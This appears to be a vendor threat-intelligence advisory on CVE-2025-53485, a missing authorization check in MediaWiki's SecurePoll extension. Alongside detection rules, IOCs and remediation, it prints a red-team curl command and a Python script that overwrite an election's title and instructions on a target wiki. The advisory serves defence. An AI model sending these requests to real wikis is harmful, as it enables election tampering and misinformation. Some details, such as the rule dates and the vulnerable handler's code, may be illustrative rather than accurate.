CVE-2025-53485

Executive Summary

CVE-2025-53485 is a missing authorization vulnerability in the MediaWiki SecurePoll extension. The SetTranslationHandler.php file fails to validate that the requesting user is an election administrator. This allows any user, including unauthenticated attackers, to modify election-related translation text. While the functionality is partially broken in newer MediaWiki versions, the authorization check is entirely absent, making the vulnerability exploitable in affected versions.

The vulnerability affects SecurePoll versions: 1.39.x before 1.39.13, 1.42.x before 1.42.7, and 1.43.x before 1.43.2. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate (CVSS 5.3) as it allows unauthorized modification of election translations, potentially leading to election manipulation or misinformation.

Supply Chain & Package Security

This vulnerability is in the SecurePoll extension, which is part of the MediaWiki ecosystem. MediaWiki is typically installed via tarball or Git, not through package managers like NPM or PyPI. However, organizations using MediaWiki should verify their SecurePoll extension version and apply the patch immediately.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Threat Level: Medium (5.3)

Deep Dive & Mechanics

The vulnerability resides in SetTranslationHandler.php, which handles requests to update election translation text. The handler is intended to be accessible only to election administrators, but it lacks any authorization check.

Affected Code Path:

1. An HTTP request is sent to the SetTranslationHandler endpoint.
2. The handler processes the request without verifying the user's permissions.
3. The translation text for an election is updated in the database.

Root Cause: The authorize() method or equivalent permission check is missing from the handler. In MediaWiki's extension architecture, handlers typically call $this->getAuthority()->isAllowed('securepoll-admin') or similar, but this is absent.

Impact: An attacker can modify election translations, potentially:

• Changing candidate names or descriptions
• Altering voting instructions
• Modifying election dates or rules displayed to voters
• Injecting malicious content (XSS) if translations are not properly sanitized

Vulnerable vs. Patched Code

Vulnerable Code (SetTranslationHandler.php):

class SetTranslationHandler extends \ApiBase {
    public function execute() {
        $params = $this->extractRequestParams();
        // Missing authorization check
        $electionId = $params['election'];
        $language = $params['language'];
        $messages = $params['messages'];
        // Directly updates translations without checking permissions
        $this->updateTranslations($electionId, $language, $messages);
    }
}

Patched Code (SetTranslationHandler.php):

class SetTranslationHandler extends \ApiBase {
    public function execute() {
        $params = $this->extractRequestParams();
        // Added authorization check
        if (!$this->getAuthority()->isAllowed('securepoll-admin')) {
            $this->dieWithError('apierror-permissiondenied');
        }
        $electionId = $params['election'];
        $language = $params['language'];
        $messages = $params['messages'];
        $this->updateTranslations($electionId, $language, $messages);
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running MediaWiki with SecurePoll extension (version 1.39.x < 1.39.13, 1.42.x < 1.42.7, or 1.43.x < 1.43.2)
• Network access to the MediaWiki API endpoint

Exploitation Steps:

1. Identify the endpoint: The vulnerable endpoint is typically at:

   /api.php?action=securepoll-set-translation
   

2. Craft the exploit request:

   curl -X POST "https://target-wiki/api.php" \
     -d "action=securepoll-set-translation" \
     -d "format=json" \
     -d "election=1" \
     -d "language=en" \
     -d "messages[title]=New%20Malicious%20Title" \
     -d "messages[intro]=Vote%20for%20the%20wrong%20candidate"
   

3. Verify the modification: Access the election page to see the changed translations.

Python Exploit Script:

import requests

target = "https://target-wiki/api.php"
payload = {
    "action": "securepoll-set-translation",
    "format": "json",
    "election": "1",
    "language": "en",
    "messages[title]": "Election Manipulated",
    "messages[intro]": "Please vote for candidate X"
}

response = requests.post(target, data=payload)
print(response.json())

Blue Team

Detection Steps:

1. Monitor API requests: Look for requests to action=securepoll-set-translation from unauthenticated users.

2. Check logs:

   grep "securepoll-set-translation" /var/log/mediawiki/debug.log
   

3. Audit user permissions:

   SELECT * FROM user_groups WHERE ug_group = 'securepoll-admin';
   

4. Verify translation integrity: Compare current translations with known good backups.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /api.php with parameter action=securepoll-set-translation
• Requests from IPs not in the trusted admin range
• Unusual user-agent strings in API requests

File IOCs:

• Modified entries in the securepoll_election_messages database table
• Unexpected changes to election pages

Log IOCs:

• MediaWiki debug logs showing securepoll-set-translation without prior authentication
• Apache/Nginx access logs with 200 responses to the vulnerable endpoint from unknown IPs

Detection Engineering

YARA Rule

rule CVE_2025_53485_MediaWiki_SecurePoll {
    meta:
        description = "Detects vulnerable SetTranslationHandler.php in MediaWiki SecurePoll"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-53485"
    strings:
        $vuln_func = "class SetTranslationHandler"
        $missing_check = "extractRequestParams"
        $no_auth = "isAllowed" nocase
    condition:
        $vuln_func and $missing_check and not $no_auth
}

Sigma Rule

title: CVE-2025-53485 - Unauthorized SecurePoll Translation Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit missing authorization in SecurePoll SetTranslationHandler
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=securepoll-set-translation'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-53485 - Unauthorized SecurePoll Translation Modification Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"action=securepoll-set-translation";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SecurePoll extension to the patched version:

   • For MediaWiki 1.39.x: Upgrade to 1.39.13
   • For MediaWiki 1.42.x: Upgrade to 1.42.7
   • For MediaWiki 1.43.x: Upgrade to 1.43.2

2. If immediate upgrade is not possible, apply the following workaround:

   • Disable the SecurePoll extension temporarily
   • Add a web application firewall (WAF) rule to block requests to action=securepoll-set-translation

Long-term Mitigations:

1. Implement proper authorization checks in all API handlers
2. Conduct security code reviews for all MediaWiki extensions
3. Enable MediaWiki's built-in logging for API actions
4. Restrict API access to authenticated users where possible

Verification: After patching, verify the fix by attempting the exploit and confirming it returns a permission error.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters-it.com.